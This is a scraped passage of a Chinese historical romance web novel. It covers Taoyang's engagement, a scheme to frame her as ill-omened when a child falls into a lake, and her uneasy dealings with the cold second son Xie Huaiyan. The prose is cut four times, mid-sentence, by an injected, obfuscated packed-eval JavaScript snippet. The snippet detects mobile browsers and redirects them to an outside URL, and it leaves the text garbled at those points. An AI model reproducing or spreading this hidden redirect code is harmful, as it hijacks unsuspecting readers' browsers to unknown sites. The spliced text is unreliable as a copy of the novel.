明明桃漾的亲事一直都不顺,相看一门毁一门,没有人家愿意娶她这样命格犯煞的女子,可最后她竟是与竹陵桓氏定了亲!为着此事,谢玉梵没少生闷气,她原本以为,母亲忙里忙外的往竹陵桓氏去,是为了她的亲事。 她以为桓恒是为她相看的郎君。 可母亲却一心都是为了桃漾。 谢玉梵心中愤愤的去了桓馥屋内,她是个藏不住情绪的性子,桓馥一眼便能看出来,问她:“这是跟谁生气了?”谢玉梵也未噎着藏着,对桓馥嘟囔:“我生桃漾的气。” 她一开口桓馥就知她心中所想,轻笑道:“谢老夫人看重你姐姐这是好事,你若也想要玉镯,娘回头送你一对。”谢玉梵脱口而出:“这怎么能一样!娘,桃漾她平日里明明喜穿明艳衣衫,此次来淮阳,新做的几件衣衫全是素色的,她都是故意的!” 桓馥道:“这是我让的。”桃漾当年本就冒犯了谢老夫人和二公子,此次来谢氏自是要按着谢老夫人的喜好来,能讨得她的喜欢是再好不过。 桓馥说了好大一番,谢玉梵只皱着眉头,不再吭声。 桃漾解衣上榻,倚在迎枕上闭目休憩,神色渐缓。 那日翠鸳湖畔,桓恒问她是否也来淮阳为谢老夫人祝寿,她答应了他。 与桓恒的这门亲事,是桃漾始料未及的。她的亲事波折难成,竹陵桓氏更是名门,母亲虽未与她细说其中缘由,可她知道,为了这门亲事母亲耗费了不少的心思,而她,也很珍视这门亲事。 这样想着,桃漾自枕下取出新绣好的香囊,端午已过,不知桓恒何时才会来到淮阳。 —— 端午过后,落了场细雨,府上清静了几日。 谢怀砚昨夜歇在刺史府,回到墨园已是第二日正午。他在寝房换过衣衫后,在书案前落座,随侍空谷进来为他添茶,他随手扯了本书卷,正欲翻开时,眸光却是一顿。 “东西呢?”他沉声问。 空谷顺着他目光所至望过去,瞬时明白,回:“今儿一早冬月姐姐进来洒扫,许是——” 此时冬月正在外间往香炉里添紫檀香,闻言走进,声音温婉道:“公子,我瞧那颗粽子在您书案上放了好几日,昨个已入了夏,天气越来越热,怕是已坏了,就拿去丢给那只狐狸吃了。” 谢怀砚神色意味不明。 冬月见状不由得心中慌乱,上前行礼:“奴婢可是做错了,请公子责罚。” 谢怀砚让她起身,语气平淡:“不过是颗粽子,丢了便丢了。”他垂眸,翻开手中书卷,冬月这才松了神色,紧皱的眉眼舒展开,许是见谢怀砚神色温和,就随口提醒道:“奴婢听闻这颗粽子是阳夏的五姑娘包的。” “她自年少时就冲撞公子,她经过手的东西公子还是不要吃的好,免的再次被冲撞,惹了晦气。” 书房内静默一瞬,窗外几声鸟啼。 谢怀砚掀眸,指腹在纸页上轻摩,神色温和看着冬月:“是么?” 冬月自认为护主且心细如发,一边往书案上的铜兽炉里添香粉一边道:“她是命中带煞之人,自该深居浅出,怎就来——”软软凉凉的触感停在冬月下颌。 让她口中的话噎了回去。 谢怀砚手执紫毫,漫不经心挑起她的下颌,神色依旧温润,问冬月:“再说一遍,她是什么?”他的嗓音再是温和不过,可冬月对上她主子那双点墨般的黑眸时,手中托盘却没能握稳,‘砰’的一声摔落在梨檀木地板上。 “公子恕罪,奴婢说错话了——” 谢怀砚轻笑,抵在她下颌的紫毫挪移,在冬月的右手上抬了抬,似是感慨:“这双手养的不错,”他散漫的问她:“是这只手丢的甜粽么?”冬月一副欲哭不哭的面色,开不了口。 笔杆又落在她左手上:“还是这只?” 他神色间再无温润,眉眼生寒,冬月的一双手忍不住的打颤。 谢怀砚语气生冰,斥道:“抖什么!”他鲜少有这般冷厉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997158|161679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候,冬月一下子就哭了,泪珠子不住的往下滚:“公子恕罪,奴婢,奴婢再不敢说了——” 谢怀砚收回手中笔。 随手扔至废纸桶。 “听闻那只狐狸近来胃口不好,喂它点别的。”他侧首,分明是一张俊美清隽的面庞,可那双桃花眼中却满是冷漠与凉薄,在冬月纤白的指节间盯了眼。 冬月再也忍不住,哭出声来。 谢怀砚神色淡漠,对空谷吩咐:“她在墨园侍奉多年,也算尽心,赏她副五石散,也可免了痛。”冬月跪在梨檀木地板上,磕头连连认错:“奴婢错了,不该私下议论主子——不该诋毁阳夏五姑娘——” 任她再悲戚认错,上首之人也未有半分怜悯。 “奴婢——奴婢愿去太守府,求公子成全——”淮阳郡太守是太渊王氏出身,与谢怀砚乃是表亲,曾在一次来墨园时,一眼就瞧中了冬月。只不过,冬月虽为奴婢,却是谢怀砚院中之人,王氏郎君不敢轻易动她。 那时,谢怀砚问她是否愿意去太守府,冬月是谢氏家生子,自然明白这句话是何意,急忙跪下说她不愿,之后,她就安安稳稳的留在了墨园,再无人敢打她的主意。 而如今,她知道,公子是再留不得她了。他身边之人,别人碰不得,可若惹了他不悦,他只会有更冷漠的手段处置。 自这日后,墨园里再无冬月的身影。 墨园里的奴仆皆是谢怀砚亲自挑选,他见不得丑鄙,这里的奴仆不论男女,皆是好颜色。冬月便生了一副不输府中任何姑娘的好样貌,因着这副好样貌,在谢怀砚面前也颇为受重用。 她想不明白,公子为何会为了那个年少时就犯了他忌讳的人这般狠心惩罚她。 她不过是阳夏分支的姑娘,出身低微,又生来不祥,难道因她也生了副好样貌?怎么可能!公子是谢氏一族家主唯一嫡子,母亲又出身名门王氏。 一朝之中最大的两大门阀士族联姻蕴养出来的孩子,生来便是高高在上的天之骄子,他从未看得上过他们这些奴仆,自然也不会看得起阳夏分支出身的谢桃漾。 冬月的母亲是谢夫人王氏的陪嫁丫鬟,跟了谢夫人几十年,主仆情谊深厚,谢夫人又见冬月生的好相貌,就让她来了墨园,冬月的母亲也有在谢夫人身边试探过。 谢夫人的意思很明显。 只要谢怀砚愿意,要了冬月,她就可提冬月为妾。 冬月临离开墨园那日,抬眸往一墙之隔的后院望过去。 她原本还可怜后院里的那些女人,如今却是顾影自怜。 5. 第 5 章 这场雨停下后,府中再又热闹起来,几位姑娘拿着木网在牡丹园里嬉笑着捉蝴蝶。 待捉了有数十只,也玩的累了,就去一旁的水榭里吃用些点心茶水。她们刚一走进,就听到两个偷懒的婆子正坐在一处扯闲话:“也是怪我,说话时没防着些人。” 这婆子怨声极重:“被老夫人身边的人给训斥,只能打碎了牙往肚子里咽。”原是这婆子在端午那日瞧见谢老夫人给了桃漾羊脂玉玉镯,她来谢氏做活来的晚,不知当年之事。 当即就生了些疑虑,到了晚间与人打听,哪成想,正被老夫人身边的崔嬷嬷给听到,就将她好生训斥了一番。不仅如此,还罚了她三个月的月俸,真可谓是好奇心害死人呐! 这婆子抱怨上几句,另一婆子就也开口:“你也不想想,阳夏来的那姑娘已经和竹陵桓氏定了亲,日后是名门高妇,咱们只有敬重的份!” 此时走进水榭的,是谢氏四房的姑娘谢念以及安陵分支来的谢沅。 听到两个婆子的话,谢念清了清嗓子,蔑视道:“不就是竹陵桓氏么,至于如此吹捧嘛!”早在端午那日,谢沅就在谢念耳边不止一次的说起过:“老夫人对桃漾姐姐真好。” “那羊脂玉玉镯可是老夫人最爱重的。” 见谢念不理会她的话,谢沅再次道:“念姐姐手腕上的玉镯也好,和桃漾姐姐腕上的成色不相上下呢。”当时谢念虽气愤拿她和一个分支来的女子相比,却也并不以为意,不想失了淮阳谢氏的气度体面。 不就是祖母送了她一只玉镯,有何可比的。 可如今听到两个婆子又这样捧那阳夏来的桃漾,心里就更不悦了几分。她们在水榭里坐下,用了盏甜饮子,谢沅抬眸看了眼谢念,很是贴心:“念儿姐姐若是生气,不让她嫁就是了。” 谢念以为她是在说笑,随口道:“这事又岂是你我能做得了主的。” 谢沅提裙起身,坐在谢念身边,低声耳语几句。谢念审视的看了眼谢沅,默上片刻,算是默许。 —— 午后,桃漾刚午憩醒来,杏枝边挂起床帐边与她道:“姑娘,你睡下时谢氏四房那里来了人,说是邀您晚间去莲园观月呢。”杏枝说的兴奋。 桃漾坐起身来,嗓音带着刚睡醒的软糯,问:“可也邀了阿梵?”杏枝摇头:“六姑娘跟别人约了去山中玩,怕是要留在山上观夜景呢。”桃漾没再问,待到用过晚膳,她母亲桓馥也出了门,与谢氏里的几位夫人玩叶子牌。 夜色降临,桃漾瞧了眼天色,今夜的月色澄亮,着实适合观月,便带着杏枝一道往莲园去。走上有一刻钟,游廊拐角处,迎面走来几位端着酒水的婢女,杏枝一个不慎,与对面之人撞了个正着。 衣衫沾了酒啧,杏枝懊恼:“都怪我笨手笨脚的,姑娘先去,我回去换身衣服就来找姑娘。”桃漾与谢嫣来过莲园一回,认得路,过了游廊再拐个弯便到,便让杏枝回去换衣服。 谢府内夜间烛火通明,桃漾手中并未提灯,很快便走至莲园门前,她脚下步子稍顿,隔着照壁并瞧不见莲园内景致,这边停顿的间隙,有一嬷嬷自莲园内走出,瞧见桃漾面色笑笑道:“五姑娘来了,快进罢。” 桃漾对她颔首,随后问她:“念儿姐姐还邀了谁?”这嬷嬷见她神色生出警惕,怕生意外,上前一步,忽然走至桃漾身侧,粗重有力的手掌不由分说握住桃漾的肩头与腰身,就要将她往莲园里推。 “嬷嬷这是做什么?”桃漾厉声发问,话落,整个人也不受力的被推入门内,随后莲园的厚重木门自外被阖上。 莲园外的清心亭里。 谢念有些紧张,不住的摆弄着自己的手指,问谢沅:“你确定这样能行?”谢沅神色倒是坚定,给谢念宽心:“念姐姐你就是太心善了,咱们又不伤她,只是让人瞧清她的本性,老夫人只是给了她玉镯,可从未提及过她不再‘晦气’之事。” “如今,我们也只不过是让她‘命中带煞’的名声再做实罢了。” “士族豪门最忌讳不祥,到时,竹陵桓氏定会与她退亲。” 听到谢沅这样说,谢念心里也平静许多:“你说的也对,她命格犯煞之事是自年少时就有的,跟咱们有什么关系。以她的身份本就配不上竹陵桓氏,也不算是害了她。” 此处莲园,每到用过晚膳后,就有奶娘带着两位小郎君来此闲玩,此时,她们得了适才推桃漾进去的方嬷嬷的令,有意离得两位小郎君远上一些。 不多时,莲园内传出声响,瞬时间,所有的烛火全被熄灭,偌大的莲园被繁盛林木遮挡的黑通通一片。 片刻后,不出所料的传来两位小郎君的哭喊声,方嬷嬷在墙外听着,心下大喜,这两位小郎君俱是老夫人最疼爱的小重孙子,把他们两个给吓出了魂,这下阳夏那五姑娘命中带煞的恶名是再也洗不脱了。 为了万无一失,方嬷嬷隔墙吩咐两位奶娘,等两位小郎君哭上一会儿,最好是哭的嗓子都哑了再点灯前去。 两位奶娘得了好处,本还暗自心喜,可听了两位小郎君声嘶力竭的哭喊声,心中也不由得如擂鼓击鸣,她们终究是害怕,只过了半盏茶的功夫就提灯小跑过去,只见黑森森的莲园里哪还是两位小郎君,分明只有一位小郎君的身影,奶娘瞬时腿软。 结巴问道:“庆小郎君呢?” 站在那里的另一小郎君抹了把脸上的泪,抬手往莲湖中指了指:“他,他在水里——” …… 戌时正是府中热闹的时候。 一群人聚在谢老夫人的存玉堂。两位奶娘浑身打颤的跪在地上,口中不住的认罪,粗粝巴掌掴在自己脸上也是十分的卖力,好在大夫上前来禀:“小郎君已吐出水来,暂无性命之忧。” 谢老夫人面容严肃,只叹气吩咐:“杖三十,若还有口气,赶出府去。”两位奶娘声嘶力竭,费力求饶,依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997159|161679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旧无济于事。 谢老夫人将枫小郎君抱在怀中,口中不住的安慰,命人煮了安神汤来,存玉堂内人虽众多,却格外安静,直到府中管事上前来禀:“回老夫人话,是莲园里不知何故烛火全被熄灭,两位奶娘又偷懒没一起跟着小郎君,这才让庆小郎君落了水。” 管事话毕。 一直站在人后的方嬷嬷走出来,跪在老夫人面前,神色戚戚:“老夫人,老奴有一事要禀——”得了允准后,方嬷嬷在人群里看了桃漾一眼,神色郑重:“老奴,老奴瞧见桃漾姑娘也进了莲园。” 本就是身带不祥之人,方嬷嬷说出这句话后。 在场之人各有心思。 谢老夫人却是许久才掀眸朝桃漾看过去一眼。 她母亲费尽心思,为的不就是让她去掉曾经的‘不祥之名’,她又是个乖巧懂事的姑娘,谢老夫人实不愿为难她。她收回目光,看向怀中的枫小郎君,慈和问道:“告诉曾祖母,枫儿见过桃漾姑姑吗?” 老夫人抬手给他指了指。 “没有。”枫小郎君摇了摇头,声音沙哑稚嫩。 方嬷嬷见状,跟着问枫小郎君:“那小郎君可是看到了什么奇怪的东西?”她问完,谢嫣早已忍不住,站出来瞪了方嬷嬷一眼:“嬷嬷怕不是老眼昏花了,桃漾姐姐自入夜后一直和我在一起,哪去过什么莲园?” 方嬷嬷不信的看向谢嫣。 怎么可能!她亲手将桃漾推进莲园的,想到这里,方嬷嬷心间一紧,后来,庆小郎君落了水,所有人当时都慌了,她进去时并未见过桃漾,还以为她是趁乱离开了! 桃漾也走出,跪在谢老夫人面前,神色平和,温声与谢老夫人道:“祖母,晚间的时候桃漾是在莲园经过,当时方嬷嬷非要请我入莲园观月,桃漾本也是要去的,可还未入莲园,”她抬起手腕,很是愧疚自责:“桃漾就发现腕间的玉镯不见了,想来是晌午时在嫣儿妹妹那里待了会儿,不小心落下了,桃漾便就去了嫣儿妹妹那里。” 谢嫣极合时宜的跟着附和:“是这样的祖母,桃漾姐姐就是来寻玉镯的。” 谢老夫人神色不显,只问桃漾:“玉镯寻到了么?” 桃漾回:“并未寻到,应不是落在嫣儿妹妹处了,桃漾记得,在莲园前,方嬷嬷倒是在我身上推了几下。”桃漾面容生的好,神色永远都是清清浅浅,让人如沐春风,不觉间就对她的话付之信任。 谢老夫人未料到她会说出这般直白的话。 命人在方嬷嬷身上搜。 谢老夫人身边的崔嬷嬷只是随便搜了几下,便当真在方嬷嬷身上摸出了那只羊脂玉玉镯,她只看了眼,就对谢老夫人点了点头,方嬷嬷瞬时慌了,抬眸看向桃漾,急道:“老夫人,老奴没有,是她——是她故意陷害老奴的。” “老奴绝没有偷她的玉镯,老奴只是——” 桃漾直截了当问崔嬷嬷:“只是什么?” 6. 第 6 章 方嬷嬷不理会桃漾,只与谢老夫人证诉清白。 老夫人身边的崔嬷嬷上前扶桃漾起身,带她走至正堂背光之处,只见她肩上、腰间,衣衫皆发出绿色光亮,明明是有人手上沾染了磷粉,有意落在她身上的,崔嬷嬷再次走回,问方嬷嬷:“不认也没关系,那巴掌印却是可以比对。” 方嬷嬷本是跪着,忽然瘫软在地。 存玉堂里的人都散去。 桃漾拿着她的玉镯刚走出,谢念就跟了上来,狠狠瞪了桃漾一眼:“自阳夏走出来的,还真是小瞧了你,”她看着桃漾手中的羊脂玉玉镯,抬手轻触,鄙夷道:“有什么好——”话未完,却听‘砰——’的一声响,玉镯掉落在地,与青石板相撞。 碎成了好几段。 谢念惊的连连后退几步,咬牙指着桃漾:“你——” 桃漾温和对她施礼,真心道:“念儿姐姐也说了,我不过是出身阳夏分支,身份自是比不得念儿姐姐贵重,我能得老夫人赏赐玉镯也不过是老夫人对分支看重,念儿姐姐样貌才情俱佳,日后也定能嫁得如意郎君,我处处不如念儿姐姐,念儿姐姐何苦如此针对于我?” “这一切于我都是得了好运气,于念儿姐姐却是理所应当,桃漾若有何处得罪了姐姐,定会与姐姐赔罪,我不过在这里待上数日,还望姐姐日后不再与我为难。” 桃漾一番话说尽。 谢念也回过味来。 本就是这样,她样样比桃漾好,何须如此对她? 谢念瞬时想到了谢沅。 说到谢沅,她与桃漾也有着些渊源。 当年,谢老夫人要在谢氏分支中挑选四位小女郎带在身边教养。起初是没有谢沅的,因着桃漾被送回阳夏,才让谢沅补了上来。是以,谢沅年少时听的最多的,便是若没有桃漾的离开,谢老夫人根本不会选她,她的位置是桃漾让出来的。 在谢沅心里,她不如桃漾,虽然她只遥遥见过这个在心底被她视为‘仇人’的女子一面,可她就是不喜欢她,当那日在老夫人的存玉堂再次见到桃漾时,她心中便越发嫉恨。 她们这些出自谢氏分支的女子,家族与谢氏本家分出多年,底子里早就已败落,是很难嫁入名门士族为正妻的,或许只能嫁给庶子,亦或选择普通士族,她们被养在谢老夫人膝下,或许都不能嫁入竹陵桓氏。 可桃漾自幼就生活在阳夏,还顶着一个‘晦气’的名头,却能与竹陵桓氏的嫡出四子定下亲事。 凭什么? 凭什么她谢桃漾这样的好命! 今夜,谢沅被吓的不轻,她不是谢念,是谢老夫人的嫡亲孙女,若继续查下去,她很可能就要被赶回安陵,若那样,她的亲事就更没指望了。 闹了这许久。 谢老夫人闭眸休憩了会儿。 崔嬷嬷进屋来与她回禀:“桃漾姑娘刚出了院门,念姑娘就跟了上去,还弄碎了那玉镯。”谢老夫人闻言轻笑,有些无奈:“念儿是个没主心骨的,做出这等浑事,也该敲打敲打她。” 崔嬷嬷回以笑意。 谢老夫人感叹:“好在庆儿无事。” “让她去谢氏祠堂抄写佛经,谢沅陪同,一道为庆儿祈福。” —— 桃漾还未走回韶院,桓馥就急忙迎了过来,她听闻此事后,立时就往谢老夫人的存玉堂赶,此时见到桃漾人好好的,才算是松了口气,扯住她的手问:“可受委屈了么?” 桃漾莞尔,对桓馥摇了摇头:“娘,我没事。” 回到韶院,桃漾将事情始末都讲给了桓馥听,桓馥听的后背直发凉,不由得后怕,深出了口气:“还好你机灵,那两个小郎君皆是谢老夫人最为疼爱的重孙子,若是都被吓着,人就怕生疑心,到那时候,你作再多的解释也无用。” “这‘晦气之名’也就再也洗不清!” 莲园入口不远处便有一座假山。 桃漾被方嬷嬷推进去后,隐约听到孩童的玩闹声,当下便已明了,躲去了假山内,只是,她们预先有防备,将假山的洞口都给封了起来,桃漾深知她必须要离开莲园,便收整衣裙,利索的爬到了假山上去。 她在方嬷嬷推她时就隐约猜到了些,顺势将腕间玉镯落在了她袖中,之后跳假山一路小跑去了谢嫣处。此时,桓馥一边往桃漾脚腕上涂抹着药膏一边心疼的斥责:“这谢氏本家府宅,不比咱们阳夏,这几日就在府中好生待着。” “左右六月初咱们就能回阳夏去。” 桃漾乖乖的对桓馥点头。 桃漾跳下的位置是片绿草丛,土壤宣软,并未崴脚,只是爬上假山时被石块磨伤了肌肤,上了药也就好了,桓馥依旧不放心,只让她歇着,桃漾不得外出,就吩咐杏枝去街上寻一玉器铺子,将碎成三段的羊脂玉玉镯修复。 午后,杏枝自外面回来,眉眼间含着笑,口中却说:“姑娘,这玉镯碎的厉害,我走了好几家玉器铺子掌柜的都说不行,加银子都不收!”杏枝浅浅笑着:“直到我进了一家书香玉器铺,掌柜的本也是说不行,可不知为何有人在他耳边低声说了几句话,他就又说行了!” 桃漾:“……” “这是何道理?” 杏枝:“我也问掌柜的了,他只说让过几日去取便是。”桃漾抿了抿唇,心生好奇,却没再问杏枝,只道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997160|161679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过几日我去取。” —— 初夏雨水多,淅淅沥沥落个不停。 距谢老夫人的寿辰还有半月时日,早些日子因谢夫人染了寒,这操持寿宴的事就落在了四房手中,只是府内琐碎事由四房操办,与各士族之间的往来以及一应安排皆由谢怀砚经手。 这日晨起都在老夫人的存玉堂请过安后,谢怀砚与谢老夫人说起此事:“府内客房院落、珍馐玉馔、各士族前来祝寿明细,可供休闲消遣之地,四叔母都已安排妥当。” “祖母喜《清商乐》,请了三台戏班子和杂耍,亦请了云游在外的圆觉大师前来颂讲佛法。” 谢氏是门阀豪族,谢老夫人今岁过的又是整寿,一应事务就算是说上几个时辰也不一定能罗列完,谢怀砚自是没有耐性说这些,谢老夫人听上几句后就笑道:“你安排就是了。” 她抬了抬眼皮,看着谢怀砚,神色打量道:“各士族前来贺寿的名单我瞧过了,倒是有不少未出阁的女郎前来,正好趁着寿宴,也该把你的亲事定下了。”谢老夫人想了想,转眸问谢夫人:“你常在士族间走动,可有为怀砚中意的女郎?” 谢夫人面容温和回:“倒也有几个中意的,不过,还是得怀砚点头才是。”依着谢夫人的意思,自是要在他们王氏一族中挑选出一位女子嫁入谢氏来。 谢怀砚眉眼清和,轻笑,对谢老夫人道:“孙儿听祖母的。” —— 午后,桃漾坐马车出了谢府,来到杏枝早几日说的那家书香玉铺。 这间玉饰铺子不大,布置却极为清雅,可见玉铺主人是位清尘脱俗之人。桃漾走进时,掌柜的正在忙碌记账,抬眸间瞧见她身后的杏枝,便咧开嘴恭敬笑道:“姑娘的玉镯已修复好,稍等片刻。” 他起身去了玉器架后的隔间,不一会儿,手中拿着一只古檀木匣,将那只羊脂玉玉镯取出,递在桃漾身前:“姑娘瞧瞧,可还满意?”桃漾以绢帕接过,在日光下可见玉镯澄澈光洁,几乎不见断裂缝隙。 桃漾不由得惊疑。 她不敢想这玉镯竟能修复如初,也从未听过有匠人能将断裂玉器修复的在日光下亦不显裂痕。桃漾对掌柜的莞尔,道谢后,示意杏枝,杏枝便取出银两递在掌柜的面前。 掌柜的垂眼一瞧,便笑了:“姑娘客气,既已付过银两,便请收回。”桃漾温婉回道:“师傅手艺精湛,还望掌柜的收下,替我道谢。”说到这,掌柜的眉心抬了抬。 他温声道:“二公子说了,姑娘若是要道谢,可去见他。” “谁?”桃漾本能问他。 掌柜的再回:“淮阳谢氏谢二公子。” 7. 第 7 章 桃漾攥着手中玉镯,微微怔神,随后再次问掌柜的:“这玉镯是谢二公子修复的么?”掌柜的不答,只对桃漾施礼,便去忙其他的。桃漾抬眸瞧了眼这间玉铺,随后走出上了马车。 “姑娘在担心什么?”杏枝见桃漾自上了马车后神色就很是沉重,不解的问她。 桃漾摇头:“没什么。” 杏枝问:“那姑娘要去给二公子道谢么?” 回到韶院,桃漾将在街市上买来的干果点心送去桓馥屋中,走进时,见桓馥正靠在香榻上绣平安符,左右时辰还早,桃漾就也坐下来,陪着桓馥一起。母女二人一边闲话一边忙着手里的绣活,不多时,桓馥抬眸看了眼桃漾:“怎还心神不宁的,可是出去一趟遇到了什么事?” 桃漾回过神,对桓馥道:“老夫人送的玉镯虽修复好了,可毕竟是碎裂过,我在想,是不是得去给祖母认个错。”几日已过,每日去存玉堂里请安,谢老夫人倒也未再提起过那夜的事,桓馥宽慰她:“事不怪你,老夫人心里明镜似的。” 桃漾对桓馥露出笑意,继续陪着她绣平安符,直到天色将暗在这里用过晚膳后才回到自己屋内。 翌日一早,谢嫣来见桃漾。 “桃漾姐姐,早几日见你身上佩戴的荷包女红极好,我来跟姐姐讨学了。”谢嫣回身看了眼婢女手中的竹篓:“针线我都带来了呢。”谢嫣与谢念虽是堂姐妹,却一直都不太和睦,自那夜的事过后,便常来寻桃漾玩。 桃漾近来也不愿外出,就陪着谢嫣在院中树下做女红。 “桃漾姐姐的女红好,可是绣嫁衣练出来的么?”谢嫣生的一张鹅蛋脸,眉眼间写满纯真,随口便问了出来。 桃漾轻笑:“还未绣呢。” 谢嫣不禁好奇:“不是说就要定下婚期了么?姐姐也该绣嫁衣了。”谢嫣话多,口中不停:“我见过竹陵桓氏的四郎君,生了副好相貌,为人亦是君子,桃漾姐姐当真好福气。” 她不住的说,桃漾都被她说的红了脸。 这日,谢嫣再来的时候,给桃漾带了礼物来,她很认真的道:“跟着姐姐学了好几日,昨个回去母亲还夸我女红精进了呢,桃漾姐姐教我,我总该给姐姐备谢礼的,”谢嫣将一檀木盒打开递过来:“这是前年二哥哥送给我们的乞巧礼,是出自蜀郡的真丝绣线,左右我如今也用不到,不如送给姐姐绣嫁衣。” 蜀郡的绣线千金难求,可令图案秀美、针法生动。桃漾只在她母亲当年的嫁衣上瞧见过。 这礼太过贵重,桃漾回绝:“这是二公子送给嫣儿妹妹的,总有用得到的那日。”谢嫣明澈一笑:“桃漾姐姐就收下罢,我们淮阳谢氏最为讲究‘知恩图报’,哪怕再小的事,礼数都是不可少的。” 谢嫣话语真挚,神色认真,桃漾看着她塞过来的绣线,不禁微微愣了愣神。 午后日光稍暗,有云层遮蔽。 桃漾自小厨房里提了食盒出来,径直往谢怀砚居住的墨园走去。 她这几日着实被此事困扰。 若是知晓这玉镯是他修复,那日她绝不在掌柜的面前多嘴一问。 若那掌柜的从未说过,她也可当不知此事,可掌柜的分明已经告诉她了,这让她去道谢也不是,不去也不行。桃漾不知端午那日的粽子他有没有用,也实在想不出送他什么来表示谢意。 就做了些阳夏人入夏后用来消暑的莲子糕,清香不腻,既有了道谢的诚意,他若不喜,丢了也不至于太可惜。 桃漾来到墨园门前,有家仆上前,桃漾温和问道:“二公子在么?”家仆看她一眼,随后往院中去回禀,片刻后,谢怀砚的随身随从空渊自院中走出,看到门前站着的是桃漾时,神色微变,随后上前见礼:“公子在,姑娘随我来。”桃漾自杏枝手中接过食盒,跟在空渊身后进了墨园。 谢怀砚居住的墨园虽是在谢宅之中,却更像是一处独立的别苑,入目敞阔,院中布局别有洞天,桃漾跟着空渊行过游廊,又转入清幽小径,走了大概有一盏茶的时辰。 来至一处山脚下。 桃漾眸中露出不解,空渊与她解释:“我家公子素来有登高望远的习惯。”时下士族名门都喜在宅院内筑高山,以便登高望远,桃漾知道谢氏宅院内不止这一座山。 就连她父亲早几年也有在府中筑山的想法。 一路行至山中,隔了还有些距离,桃漾便闻阵阵悠扬琴声,直至水榭前琴声方止,空渊先请桃漾去了隔壁亭阁落座,他来到雕花木门前,恭敬回禀:“公子,阳夏的五姑娘到了。” 此时水榭里不止谢怀砚一人。 还有两位身着锦衣的玉冠公子,几人面前摆放着好几把名贵木琴,正在一一试琴。 桃漾所在的亭阁四面窗牖皆敞开着,有凉风沾染着水汽阵阵拂来,也能时不时听到清泉水流动的‘叮当’声,隔壁屋中的琴声早就停了,可她在亭阁内坐了这许久,却始终不见隔壁有人来。 桃漾默默坐着,下意识把玩着自己的手指。 待过去有一炷香的时辰,桃漾大概也能想明白,谢怀砚是不愿见她,掌柜的或许是传错了话,谢嫣所说‘知恩图报’也不过是为了让她把礼物收下,是她思量错了。 桃漾提起衣裙起身,瞧见适才领她来此的随从就站在下山的路前,抬步朝他走过去,刚要踏出门槛,身后一道清润的嗓音传过来:“桃漾妹妹是要走了么?”声音温和,带着几分随意。 桃漾停下步子回身,见谢怀砚自隔壁亭阁的内门走进,身上着一袭墨色宽袍,隐隐可见衣袖间以金银丝线绣制而成的仙鹤,仙鹤尊贵高雅,与他整个人的气度极为契合。 桃漾垂眸对他见礼:“我瞧天上云层聚拢,怕是有雨。” 谢怀砚点墨眸光落在她身上,边在古檀木桌前落座边道:“与好友论琴,让桃漾妹妹久等了。”桃漾并未再落座,看了眼桌上搁着的食 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997161|161679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盒:“我此来是为谢二公子帮我修复玉镯,天气渐热,做了份消暑的点心。” 谢怀砚往食盒上看了眼,问她:“莲子糕么?” 桃漾点头:“是,在阳夏入夏后都食莲子糕的。” 谢怀砚神色温和,眸光落在她面上:“桃漾妹妹不必拘谨,可看着我说话。”他朝门前望过去,随侍空渊不知何时已朝着这边走来,手中拿着一只檀木盒走进,搁在木桌上。 谢怀砚抬手打开,递在桃漾面前,嗓音温润:“昔日年少,口不择言,扰了桃漾妹妹多年,如今也是该给桃漾妹妹赔个罪,这是我为妹妹准备的赔罪礼。” 桃漾此次来墨园,就如清明上坟。 她很不愿意与谢怀砚正面相对。 他就如年少时的噩梦,让她本能生惧。 就算知道如今她可以抬眸与他直视,不必再对年少时他居高临下的命令唯命是从,可她依旧没有勇气。听到他的这番话,桃漾眉心皱了皱,施礼道:“当年是桃漾冒犯了二公子,公子不再怪罪便好。” 她言不由衷,口不随心。 谢怀砚神色意味不明的在她面上扫过,口中语气却依旧平和:“桃漾妹妹是不愿原谅么?”他看了眼檀木盒:“不过是件姑娘家用的耳饰,不贵重。” 